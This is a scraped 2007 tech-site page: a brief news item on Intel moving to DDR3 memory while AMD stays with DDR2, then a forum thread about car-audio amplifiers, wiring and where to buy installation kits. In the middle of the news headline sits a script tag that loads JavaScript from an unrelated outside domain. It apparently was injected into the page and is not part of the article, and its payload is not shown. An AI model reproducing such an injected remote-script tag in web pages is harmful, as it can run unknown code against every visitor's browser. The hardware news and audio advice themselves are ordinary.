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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 16/01/07
Author: MikeEnIke
Source: The Inquirer

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With the recent improvements of DDR2, and the high FSBs the modules have reached, some people see no need for DDR3 modules to make an appearance. However, Intel has decided to integrate DDR3 SDRAM into it's newest chipset, hopefully by Q2 this year. AMD has decided to stick with DDR2 SDRAM for the time being, we guess until the end of the year. Current overclocking of DDR2 modules normally takes quite an increase in voltage to see major performance, which not only raises heat, but puts more stress onto a power supply. DDR3 is expected to change many things in this way:

DDR 3 should start from 1066MHz but it will also have 1333MHz modules available at launch. This is what Intel next generation chipset wants from the memory, you need to match the FSB and memory to get the most out of it.

The best thing about DDR3 is that it can do 1066MHz at 1.5 V and 1333 should work at similar voltage as well. AMD already said that it stays loyal to DDR 2 only, at least till the end of this year. DDR 3 is of course end up more expensive at least at the beginning

One wonders if AMD is once again behind the crown when it comes to memory integration, just like they were late to jump on board with DDR2, and only after Intel has seen success with the modules. We'll have to wait and see if AMD's playing of the caution game will end up being a good idea, or a slip-up.

Tell us what you think about these new low voltage memory solutions to take place of the current DDR2 modules. Just visit the forums and let us know...
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15-01-2007, 21:08:44

You need to know exactly what amp it is. Sony exaggerates the ratings here is one of their amps that says 800 watts but if you read closer its 400 (I bet in real life its closer to 100-200)

15-01-2007, 21:41:27

PP Mguire
They dont have his amp on the Wal Mart site or the Sony site. All i know right now is its black and is 1000watts, 500RMS.

15-01-2007, 22:18:56


FragTek used to have a pretty mean system in his old pimp mobile, talk to him :).

In my Bronco I sported a pair of 12" Alpine Type X's powered by a pair of 1000w Fosgate Power T10001BD's fed by a 2 farad cap. It was easily loud enough to the point where you couldn't crank it but only 3/4 of the way up before your ear drums started to hurt. As for the mids and tweets I had a full set of MB Quarts and a sweet arse JL 5 channel 500w amp to crank em.

I'm too poor with the new car payment, lawyer bills, computer problems, etc at the moment to reinvest in a nice sound system :(

15-01-2007, 23:52:51

This should be PLENTY for what you need Cory.

I usually get my wire from HomeDepot but things like the near Battery fuse come from places like Kragen, PepBoys or local stereo shops.

Usually kits (like the one Kemp recommended and at Walmart) have more flexible wire (many more smaller strands). The home depot stuff is stiffer but will work just as good untill you get into Audiophile stuff (on a older car I built I spent $4K on wiring)

Monster Cable is great for speakers, I would use the 16Ga on mids and tweets and 12Ga on woofers.

16-01-2007, 00:25:11

PP Mguire
I already gave him a 12g Monster cable for his sub and i cant see the Wal Mart link. Me and my friend discoverd that Wal Mart re-directs you to their main page even on a direct link like that. When i head over there sometime this week ill take pictures of everything.

16-01-2007, 00:59:39

try the new link, think its fixed.

16-01-2007, 02:01:41

PP Mguire
Nope, Wal Mart has a redirect to their main site.

16-01-2007, 12:07:52

This one is $10 cheaper and looks better than the Walmart one. I get a lot of my stuff from Crutchfield.


Also Cory there are a bunch of good guides on Crutchfields site that explain how to do stuff.

16-01-2007, 13:04:41

Ye that looks pretty decent

16-01-2007, 17:26:11

PP Mguire
The one we got from Wal Mart he paid 20 bucks for. It dosent have everything thats there i dont think. At least with this site i can make do with what he has and just go to Frys and finish the job. Guides = good lol. Idk why he came to me for this. All i know is PA, give me some amps, cabs, and some cables and ill make you a banging stage setup. Cars? Pshh dont have the foggiest. Some Japs made my car audio for my last car. I just told them what i wanted. Thanx for the site Mark this will make installing his system ALOT easier.

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